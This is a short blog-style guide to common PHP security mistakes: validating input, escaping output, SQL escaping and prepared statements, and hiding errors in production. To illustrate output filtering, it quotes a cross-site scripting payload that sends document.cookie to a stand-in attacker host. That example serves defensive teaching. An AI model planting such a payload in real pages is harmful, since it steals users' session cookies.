Coding Mistakes PHP Newbies Make

1. Never trust user input! Doing so can lead to security issues such a hijacked sessions, SQL injection and your entire site being compromised. This goes for all of the PHP superglobals such as $_SERVER and not just $_GET, $_POST and $_REQUEST arrays. The only exception would be the $_SESSION superglobal as this persists on the server side. With PHP 5, There are many functions available to help ensure that you are getting what you expected.

If your expecting numbers only you can use ctype_digit():

if (!ctype_digit($_POST['id'])) {

    exit("Numbers Only Please!");

}

There are other ctype_* functions for input validation such as ctype_alpha() for letters only and ctype_alnum() for leters and numbers only. PHP 5 also provides several filter functions to validate data with. If script is expecting an email address you can check that it is properly formatted in this manner:

if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {

    exit("Valid Email Only Please!");

}

2. Filter your output! If you are storing data received from one of your users such as a forum post you need to make this data safe for displaying to other users. By using htmlspecialchars() or the more thorough htmlentities() functions you can avoid problems that come from embeded javascript, meta redirects and more.

Incoming text such as this:

Hello World! <script>document.write(‘<img src=”http://attacker.site.com/getcookie.php?’+document.cookie+'” width=”1″ height=”1″ />’);</script>

Will be displayed exactly as shown above using PHP’s htmlentities():

$message = htmlentities($_POST['message'], ENT_QUOTES, 'UTF-8');

echo $message;

Of course filtering this data is best done prior to storing it in the database so that you do not have to filter it every time it is displayed there after.

3. Escape all database input! Before inserting information such as a forum post into your database make sure it is safe to do so. The *_escape_string() function available from the various PHP database drivers will prevent SQL injection attacks from being successful. For MySQL there is mysql_real_escape_string() or for PostgreSQL use pg_escape_string(). Simply using addslashes() may not be enough depending on the character set being used. SQL injection may still be possible with multi byte-characters. Another way to keep SQL injection attacks from being successful is to use prepared statements. PHP 5.1 and greater includes PHP Data Objects (PDO) which will not only use driver supplied prepared statement methods but also emulate them for those that do not. A prepared statement uses a “place holder” in your SQL statement for which an assigned value will be given after it has been safely escaped by PDO.

This is an example of a named place holder:

$query = "SELECT * FROM users WHERE username = :username AND password = :password";

$stmt = $dbh->prepare($query);

$stmt->execute(array(':username' => $_POST['username'], ':password' => $_POST['password']));

$row = $stmt->fetch(PDO::FETCH_ASSOC);

4. Turn off error reporting in your production environment! Displaying script errors on the page is an unsettling event for your users. Even worse, an error may expose information such as database credentials. You can configure PHP so that no errors are displayed on screen with the display_errors directive. You will still want to be able to see where errors are occurring and this can be accomplished by outputting the errors to your web server’s log file. In your php.ini file set the following:

display_errors = Off
log_errors = On

5. Use what’s there! This of course gets easier with time as you learn about all of the available functions that make coding with PHP easy and fun. The file_put_contents() function, for example, bypasses the need for you to fopen(), fwrite() and fclose() a file being stored on your website.

Be the first to write a comment.

Your feedback